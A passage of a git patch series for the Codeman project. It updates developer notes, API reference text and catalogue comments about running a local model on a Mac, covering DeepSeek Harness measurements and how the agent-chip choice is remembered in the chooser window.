dark ink on the light skins, blue the context, green good, amber tight, orange slow, rose the brief peaks, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`, already adapted by the server to the state: `start` on an installed model, `retry` on a job) plus a quiet Remove; an error's text is split after its first sentence (`localModelSentences()`, which knows the ideographic full stop) and only that sentence is the headline. A refusal the server names (a 400, a full disk) carries `data.message` like a 409 and is printed from it, never from the English `error` text. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "Recommended". ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, the only non-literal calls are the two payload ones, and a unit alone (`23.1 GB`) is not a translator call. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never turned into a size; the installed memory alone is `memClassGb`. ⚠️ The model list is a real radio group (`role="radiogroup"`, roving `tabindex`, arrows, Home, End, the focus follows through the repaint's own focus restore, keyed by `data-lm-key`); the columns line up through `subgrid` with a fixed-track `@supports` fallback, and under 560px a row is two lines (mobile.css). ⚠️ The window has its OWN `FocusTrap` (`_localModelFocusTrap`, never `activeFocusTrap`: it opens on top of App Settings) and app.js claims its Escape before `closeAllPanels()`. ⚠️ Its buttons are the Git worktrees dialog's `.wt-btn` set, never `.btn-toolbar`: the skin block greys `.btn-toolbar.btn-primary` and the phone block pins every `.btn-toolbar` to 26px with `!important`. ⚠️ The coding agents of an installed model (`install.harnesses`) are ONE builder, `_localModelAgentsEl()`: a radio group of chips under "Start a session with" (the server's order, its default selected, roving `tabindex`, arrows, Home, End), a tag on a chip that is not there ("Not installed", "Installing", "Needs setup"), and under the chips one line about the selected one. The main button follows the selected chip by what the server lists for THAT row (`row.actions`): "Start a session" with that agent, or "Install " with the row's literal `installCommand` printed above it (the click is the consent; `POST /api/local-model/agent` carries the id only, never the command), a disabled "Installing " while it runs, and nothing to press for `setup-needed`. An install of an agent never changes the screen: the state stays `installed`, and a failed one shows the server's sentence under the chip (the installer's words folded away), never as the model's headline. On a stopped model Start stays the one main button. The block is not on the screen that ends an install and not while an error blocks every session; a payload without the list keeps the old one-agent screen. The choice is remembered per device (`codeman-local-model-agent` in localStorage, read in try/catch) and is compared only with ids of the payload. ⚠️ "Start a session" re-reads the settings and the CLI list first (`loadAppSettingsFromServer`, `loadCliListForSettings`: the server switched the endpoints flag on and may have installed the agent a moment ago), then calls the existing `selectCustomModelEntry(, install.endpointId)`. The button ships `hidden` and shows only once the server answered for a Mac ("Local model" once one is installed); button AND Settings group stay hidden for `not-macos`, for a refusal and while the first request is in flight; refused means `403` with `errorCode: FORBIDDEN` (the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request, asked again on `codeman:me`). Remove asks first and deletes the downloaded model unless the box is cleared (nothing else in the UI can free that space later). Not on the phone overview. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`, and `test/local-model-ui.browser.test.ts` (real Chromium, not in the gate: the columns, the two-line phone rows, the long list that scrolls from its top); the visual walk is a scratch Playwright script, not a test. **Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order) From 0f9f877a5aa7271a47d00efe99b75e05ee497522 Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Wed, 11 Nov 2026 10:16:40 +0100 Subject: [PATCH 08/11] docs(local-model): what today's DeepSeek Harness showed A second scripted run, on dsh 0.2.2-rc.1 with a freshly installed dsh-TUI 0.19.0 under a scratch home: the model name reaches the endpoint unchanged, the first request is 6,983 tokens with 27 tools, and a tool round trip completes. Two things that version does differently are written down where a reader of the harness table looks: a setup guide opens in every session until a person has finished it once (and its cursor is the readiness mark), and its transcript file was renamed, so `last-response` is empty for it. Co-Authored-By: Claude Fable 5.2 --- docs/local-models.md | 8 ++++++-- src/config/local-model-catalog.ts | 15 ++++++++++----- 2 files changed, 16 insertions(+), 7 deletions(-) diff --git a/docs/local-models.md b/docs/local-models.md index e6f1f58dd..accd83113 100644 --- a/docs/local-models.md +++ b/docs/local-models.md @@ -223,7 +223,7 @@ the agent, so a session with one agent and a session with another run on the sam | OpenCode | about 8,100 tokens, 11 tools (v1.19.5; more with user-level skills) | yes | A tool round trip on a Mac with a real model (the catalogue's tested entry), and on a scripted endpoint for v1.19.5 | | Claude Code | about 36,000 tokens, so the first answer takes minutes | yes | Shipped in 1.50.0; not measured again for this table | | Pi | 2,096 tokens, 4 tools (v1.5.2) | yes | A complete tool round trip against a real model: tool call, tool result, final answer, the file on disk | -| DeepSeek Harness | about 7,650 tokens, 25 tools (0.1.1-rc.2) | **no** | A tool round trip on a scripted endpoint only. Against a real model the launch and the model name reached the runtime, and no turn finished | +| DeepSeek Harness | about 7,650 tokens, 25 tools (0.1.1-rc.2); 6,983, 27 tools (0.2.2-rc.1) | **no** | A tool round trip on a scripted endpoint only, on both versions. Against a real model the launch and the model name reached the runtime, and no turn finished | How to read the last column: the runs of 2026-11-10 were made on **Linux**, through Codeman's own custom model launch, against Ollama 0.13.0 with a 1.7B model on a CPU ("a real model") or @@ -248,7 +248,11 @@ Three things follow from how the agents differ: the one agent of the four besides Claude Code that reports the end of a turn. Its custom endpoint recipe itself was verified with a real model on a llama.cpp server ([custom-model-endpoints.md](custom-model-endpoints.md)); what is missing is a finished turn - on this feature's runtime. + on this feature's runtime. On today's version (0.2.2-rc.1 with dsh-TUI 0.19.0) two more + things were seen: a setup guide opens in every session until a person has finished it once + (a person in a tab presses through it; a script must not, see the codeman skill), and its + transcript file was renamed, so Codeman's response viewer and `last-response` are empty for + a dsh session on that version until the reader learns the new name. - **OpenCode and DeepSeek Harness send a second, small request** beside the first prompt (a title, a side question). The runtime answers one request at a time, so it queues. diff --git a/src/config/local-model-catalog.ts b/src/config/local-model-catalog.ts index 49fcf1dbd..913028627 100644 --- a/src/config/local-model-catalog.ts +++ b/src/config/local-model-catalog.ts @@ -83,10 +83,11 @@ * | | | | prompts sent at the rule stayed | * | | | | unsent), and it draws nothing that | * | | | | is a contract once it does | - * | `deepseek` | about 7,650 tokens, 25 tools | SCRIPTED only (0.1.1-rc.2 with dsh-TUI | none here: the CLI registry's `❯` | - * | | (0.1.1-rc.2) | 0.10.0-beta.1, not today's versions). | stands; a prompt sent at it was | - * | | | REAL: the launch and the model name | submitted, 2 of 2 launches | - * | | | reached the runtime, no turn finished | | + * | `deepseek` | about 7,650 tokens, 25 tools | SCRIPTED only, on both versions | none here: the CLI registry's `❯` | + * | | (0.1.1-rc.2); 6,983 tokens, 27 | (0.1.1-rc.2 with dsh-TUI 0.10.0-beta.1 | stands; a prompt sent at it was | + * | | tools (0.2.2-rc.1) | and 0.2.2-rc.1 with dsh-TUI 0.19.0). | submitted, 2 of 2 launches. On | + * | | | REAL: the launch and the model name | dsh-TUI 0.19.0 a setup guide draws | + * | | | reached the runtime, no turn finished | `❯` too until it was finished once | * * Every one of them sent the `name:tag` model id unchanged. `pi` was gated until 2026-11-10 for * two open questions, both answered by its run: the id (above), and the window, which Codeman @@ -94,7 +95,11 @@ * 128,000-token one). `deepseek` is a LAUNCHER: its install command leaves it with nothing to * launch, so src/local-model/harness-facts.ts never reports it installable and a Mac is offered * it only where it was already set up. It is offered on a scripted run and one unfinished real - * one: gate the row again (`gated: true`) should a run on a Mac not finish a turn. + * one: gate the row again (`gated: true`) should a run on a Mac not finish a turn. Two things + * about dsh-TUI 0.19.0 that a client of its `readyMark` must know: until a person has finished + * its setup guide once, every session opens on that guide and the guide's cursor is the mark + * (the codeman skill reads the pane after the mark for that reason), and its transcript file + * was renamed, so Codeman's `last-response` is empty for it for now. * * MEMORY. The need is `bytes + heldBytesPerToken x context + overheadBytes + peakExtraBytes` * (src/local-model/recommend.ts). The two runners spend memory differently, so a row's three From bd362f736b1fbd4713d7502c35215cbb5af4974e Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Wed, 11 Nov 2026 10:24:03 +0100 Subject: [PATCH 09/11] fix(local-model): a chip that was only looked at never hides "Start a session" Selecting a chip stored it for the device at once. Someone who clicked "DeepSeek" (Needs setup) or "Pi" (Not installed) just to see what it says then got a window that reopened on that chip: "Install Pi", or no main button at all, with "Start a session" out of sight. The device now remembers the agent a session was STARTED with, an opening of the window selects it only while it can be started, and a selection made in one opening does not carry into the next. Otherwise the server's default agent is selected, as before. Also: a real-browser test for the chips (they wrap inside the window at 1440, 390 and 320 px, the install command included, one tab stop), and one sentence in the API reference: a readiness mark says the composer is there, not that nothing else is (DeepSeek Harness's setup guide draws the same glyph). Co-Authored-By: Claude Fable 5.2 --- docs/api-reference.md | 2 +- src/web/CLAUDE.md | 2 +- src/web/public/local-model-ui.js | 33 +++++++++++---- test/local-model-ui.browser.test.ts | 65 +++++++++++++++++++++++++++++ test/local-model-ui.test.ts | 27 +++++++++++- 5 files changed, 117 insertions(+), 12 deletions(-) diff --git a/docs/api-reference.md b/docs/api-reference.md index 552386f7d..0a1561ba4 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -1796,7 +1796,7 @@ A probe that fails is an answer, not an error: a server that is not on macOS, or - `folder`: the absolute folder everything of this feature is kept in. - `library[]`: the models on this machine, the model in use first. Empty with `idle` (no runtime is there to ask). Each row: `id` (the name the runtime lists, `name:tag`), `label`, `context?` (the context it was checked with), `sizeBytes?` and `sizeGb?` (its size on disk as the runtime reports it, else as recorded when it was checked), `active` (it is the model in use), `verified` (Codeman checked it), `status` and `actions[]`. `status` is `ready`, `changed` (checked, and the runtime now reports another digest under the name), `missing` (checked, and the runtime no longer lists it) or `unverified` (the runtime lists it and Codeman never checked it: a model an earlier Remove kept, the model of a job that has not passed its check, or one another program pulled through the runtime's port). `actions` is what the server accepts for THAT row right now, out of `use` and `delete`; `delete` needs the running runtime, and a name that is not a plain `name:tag` is listed with no action. - `store?`: `{ bytes, gb }`, what the model store takes on disk (the files of its blob folder, so shared layers count once and an interrupted download is included). Present in every state once it was measured; cached for about thirty seconds. - - `harnesses[]`: the agent CLIs a session on the model in use can be started with, the default one first, then by the catalogue's rank. The agent is chosen per session: a session is started with `mode` set to a row's `cli` and `customModel: { endpointId, modelId }`. Empty in every state but `installed`. Each row: `cli`, `cliLabel`, `default` (true on the row `install.cli` names), `status`, `installCommand?` (with `installable` and `installing`: the literal command `POST .../agent` runs), `slowFirstTurn?` (the first answer takes minutes), `readyMark?` (a literal without white space that the agent's composer draws once it takes input: what a script waits for on `GET /api/sessions/:id/wait-output` before it sends the first prompt; absent for an agent with no measured mark), `error?` (`{ message, detail? }`: the last install of this agent through `POST .../agent` failed; kept in memory only) and `actions[]` (`start-session`, `install`). `status` is `ready` (it can be started, the answer the Run menu gets), `installable` (not on this machine, and `POST .../agent` installs it), `installing` (that install is running; the model stays as it is) or `setup-needed` (not startable, and one command does not make it so: DeepSeek Harness without a terminal profile, or a command that needs an administrator; set it up from the Run menu or a terminal). + - `harnesses[]`: the agent CLIs a session on the model in use can be started with, the default one first, then by the catalogue's rank. The agent is chosen per session: a session is started with `mode` set to a row's `cli` and `customModel: { endpointId, modelId }`. Empty in every state but `installed`. Each row: `cli`, `cliLabel`, `default` (true on the row `install.cli` names), `status`, `installCommand?` (with `installable` and `installing`: the literal command `POST .../agent` runs), `slowFirstTurn?` (the first answer takes minutes), `readyMark?` (a literal without white space that the agent's composer draws once it takes input: what a script waits for on `GET /api/sessions/:id/wait-output` before it sends the first prompt; absent for an agent with no measured mark. A mark says the composer is there, not that nothing else is: DeepSeek Harness with dsh-TUI 0.19 opens a setup guide whose cursor is its `❯` too until a person has finished it once, so a script reads the pane after the mark), `error?` (`{ message, detail? }`: the last install of this agent through `POST .../agent` failed; kept in memory only) and `actions[]` (`start-session`, `install`). `status` is `ready` (it can be started, the answer the Run menu gets), `installable` (not on this machine, and `POST .../agent` installs it), `installing` (that install is running; the model stays as it is) or `setup-needed` (not startable, and one command does not make it so: DeepSeek Harness without a terminal profile, or a command that needs an administrator; set it up from the Run menu or a terminal). - `actions[]`: exactly what the server accepts right now, out of `install` (with `installed`: add another model), `cancel`, `resume`, `start`, `stop`, `remove` (with `idle` only while `store` holds something), `use` and `delete-model` (only while a row of `library` offers them), `install-agent` (only while a row of `harnesses` offers `install`) and `start-session` (not a route here: start a session on `endpointId`; offered only while the runtime runs, nothing blocks a session and, when `harnesses` is known, at least one agent CLI can be started). Error codes (`install.error.code`), each with one next step: diff --git a/src/web/CLAUDE.md b/src/web/CLAUDE.md index 68aa94654..ba3e57ea5 100644 --- a/src/web/CLAUDE.md +++ b/src/web/CLAUDE.md @@ -48,7 +48,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L **Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`) and the tab is visible (`_foreignPollTick()` is the one gate, and `visibilitychange` catches up; the cache TTL sits under the poll interval, so one tab's every tick is a full socket sweep), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module). -**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. ⚠️ The models on this Mac (`install.library`) are ONE list builder, `_localModelLibraryEl()`: on the installed screen always (the model in use first, in the chooser's selected look, each row with the context it was checked with, a state tag and its size on disk), on a paused or failed screen only when a row offers something (the way back to an earlier model), never on the screen that ends an install. A row has "Use" and "Delete" only for what the server lists for THAT row (`row.actions`); Use is a switch with no confirm screen (nothing is downloaded), Delete asks once in place under its row (`.lm-lib-ask`, the one red button, the focus on Cancel), and the asked row keeps its buttons unseen (`.lm-lib-actions-away`) so the sizes do not jump sideways. Under the list: what all downloads take (`install.store`) and "Add a model", which opens the chooser from an installed model; there a row with `candidate.library` says "In use" or "On this Mac" and the main button becomes a disabled "In use" or "Use this model". With nothing installed and a store an earlier Remove kept, the chooser and the nothing-fits screen say what it takes and offer "Delete them" (`_localModelStoreEl()`). ⚠️ A screen that carries the list sets `data-long` on the body, which switches it from the centred short-screen layout (bottom-aligned on a phone) to top-aligned: a centred flex column that overflows cuts off its first lines. ⚠️ The row buttons live in `.lm-lib-actions`, not `.lm-buttons` (the screen's own buttons in the foot), and are a size smaller (`.lm-btn-row`). ⚠️ A job whose steps hold no `model` step is a switch (`localModelIsSwitch()`) and is named one ("Switching to", no download bar). Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: white for the feature, turned over to dark ink on the light skins, blue the context, green good, amber tight, orange slow, rose the brief peaks, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`, already adapted by the server to the state: `start` on an installed model, `retry` on a job) plus a quiet Remove; an error's text is split after its first sentence (`localModelSentences()`, which knows the ideographic full stop) and only that sentence is the headline. A refusal the server names (a 400, a full disk) carries `data.message` like a 409 and is printed from it, never from the English `error` text. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "Recommended". ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, the only non-literal calls are the two payload ones, and a unit alone (`23.1 GB`) is not a translator call. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never turned into a size; the installed memory alone is `memClassGb`. ⚠️ The model list is a real radio group (`role="radiogroup"`, roving `tabindex`, arrows, Home, End, the focus follows through the repaint's own focus restore, keyed by `data-lm-key`); the columns line up through `subgrid` with a fixed-track `@supports` fallback, and under 560px a row is two lines (mobile.css). ⚠️ The window has its OWN `FocusTrap` (`_localModelFocusTrap`, never `activeFocusTrap`: it opens on top of App Settings) and app.js claims its Escape before `closeAllPanels()`. ⚠️ Its buttons are the Git worktrees dialog's `.wt-btn` set, never `.btn-toolbar`: the skin block greys `.btn-toolbar.btn-primary` and the phone block pins every `.btn-toolbar` to 26px with `!important`. ⚠️ The coding agents of an installed model (`install.harnesses`) are ONE builder, `_localModelAgentsEl()`: a radio group of chips under "Start a session with" (the server's order, its default selected, roving `tabindex`, arrows, Home, End), a tag on a chip that is not there ("Not installed", "Installing", "Needs setup"), and under the chips one line about the selected one. The main button follows the selected chip by what the server lists for THAT row (`row.actions`): "Start a session" with that agent, or "Install " with the row's literal `installCommand` printed above it (the click is the consent; `POST /api/local-model/agent` carries the id only, never the command), a disabled "Installing " while it runs, and nothing to press for `setup-needed`. An install of an agent never changes the screen: the state stays `installed`, and a failed one shows the server's sentence under the chip (the installer's words folded away), never as the model's headline. On a stopped model Start stays the one main button. The block is not on the screen that ends an install and not while an error blocks every session; a payload without the list keeps the old one-agent screen. The choice is remembered per device (`codeman-local-model-agent` in localStorage, read in try/catch) and is compared only with ids of the payload. ⚠️ "Start a session" re-reads the settings and the CLI list first (`loadAppSettingsFromServer`, `loadCliListForSettings`: the server switched the endpoints flag on and may have installed the agent a moment ago), then calls the existing `selectCustomModelEntry(, install.endpointId)`. The button ships `hidden` and shows only once the server answered for a Mac ("Local model" once one is installed); button AND Settings group stay hidden for `not-macos`, for a refusal and while the first request is in flight; refused means `403` with `errorCode: FORBIDDEN` (the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request, asked again on `codeman:me`). Remove asks first and deletes the downloaded model unless the box is cleared (nothing else in the UI can free that space later). Not on the phone overview. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`, and `test/local-model-ui.browser.test.ts` (real Chromium, not in the gate: the columns, the two-line phone rows, the long list that scrolls from its top); the visual walk is a scratch Playwright script, not a test. +**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. ⚠️ The models on this Mac (`install.library`) are ONE list builder, `_localModelLibraryEl()`: on the installed screen always (the model in use first, in the chooser's selected look, each row with the context it was checked with, a state tag and its size on disk), on a paused or failed screen only when a row offers something (the way back to an earlier model), never on the screen that ends an install. A row has "Use" and "Delete" only for what the server lists for THAT row (`row.actions`); Use is a switch with no confirm screen (nothing is downloaded), Delete asks once in place under its row (`.lm-lib-ask`, the one red button, the focus on Cancel), and the asked row keeps its buttons unseen (`.lm-lib-actions-away`) so the sizes do not jump sideways. Under the list: what all downloads take (`install.store`) and "Add a model", which opens the chooser from an installed model; there a row with `candidate.library` says "In use" or "On this Mac" and the main button becomes a disabled "In use" or "Use this model". With nothing installed and a store an earlier Remove kept, the chooser and the nothing-fits screen say what it takes and offer "Delete them" (`_localModelStoreEl()`). ⚠️ A screen that carries the list sets `data-long` on the body, which switches it from the centred short-screen layout (bottom-aligned on a phone) to top-aligned: a centred flex column that overflows cuts off its first lines. ⚠️ The row buttons live in `.lm-lib-actions`, not `.lm-buttons` (the screen's own buttons in the foot), and are a size smaller (`.lm-btn-row`). ⚠️ A job whose steps hold no `model` step is a switch (`localModelIsSwitch()`) and is named one ("Switching to", no download bar). Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: white for the feature, turned over to dark ink on the light skins, blue the context, green good, amber tight, orange slow, rose the brief peaks, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`, already adapted by the server to the state: `start` on an installed model, `retry` on a job) plus a quiet Remove; an error's text is split after its first sentence (`localModelSentences()`, which knows the ideographic full stop) and only that sentence is the headline. A refusal the server names (a 400, a full disk) carries `data.message` like a 409 and is printed from it, never from the English `error` text. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "Recommended". ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, the only non-literal calls are the two payload ones, and a unit alone (`23.1 GB`) is not a translator call. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never turned into a size; the installed memory alone is `memClassGb`. ⚠️ The model list is a real radio group (`role="radiogroup"`, roving `tabindex`, arrows, Home, End, the focus follows through the repaint's own focus restore, keyed by `data-lm-key`); the columns line up through `subgrid` with a fixed-track `@supports` fallback, and under 560px a row is two lines (mobile.css). ⚠️ The window has its OWN `FocusTrap` (`_localModelFocusTrap`, never `activeFocusTrap`: it opens on top of App Settings) and app.js claims its Escape before `closeAllPanels()`. ⚠️ Its buttons are the Git worktrees dialog's `.wt-btn` set, never `.btn-toolbar`: the skin block greys `.btn-toolbar.btn-primary` and the phone block pins every `.btn-toolbar` to 26px with `!important`. ⚠️ The coding agents of an installed model (`install.harnesses`) are ONE builder, `_localModelAgentsEl()`: a radio group of chips under "Start a session with" (the server's order, its default selected, roving `tabindex`, arrows, Home, End), a tag on a chip that is not there ("Not installed", "Installing", "Needs setup"), and under the chips one line about the selected one. The main button follows the selected chip by what the server lists for THAT row (`row.actions`): "Start a session" with that agent, or "Install " with the row's literal `installCommand` printed above it (the click is the consent; `POST /api/local-model/agent` carries the id only, never the command), a disabled "Installing " while it runs, and nothing to press for `setup-needed`. An install of an agent never changes the screen: the state stays `installed`, and a failed one shows the server's sentence under the chip (the installer's words folded away), never as the model's headline. On a stopped model Start stays the one main button. The block is not on the screen that ends an install and not while an error blocks every session; a payload without the list keeps the old one-agent screen. The device remembers the agent a session was last STARTED with (`codeman-local-model-agent` in localStorage, read in try/catch, compared only with ids of the payload), and an opening of the window selects it only while it is `ready`: a chip that was merely looked at, or an agent that has gone, must never reopen the window on "Install" with "Start a session" out of sight. ⚠️ "Start a session" re-reads the settings and the CLI list first (`loadAppSettingsFromServer`, `loadCliListForSettings`: the server switched the endpoints flag on and may have installed the agent a moment ago), then calls the existing `selectCustomModelEntry(, install.endpointId)`. The button ships `hidden` and shows only once the server answered for a Mac ("Local model" once one is installed); button AND Settings group stay hidden for 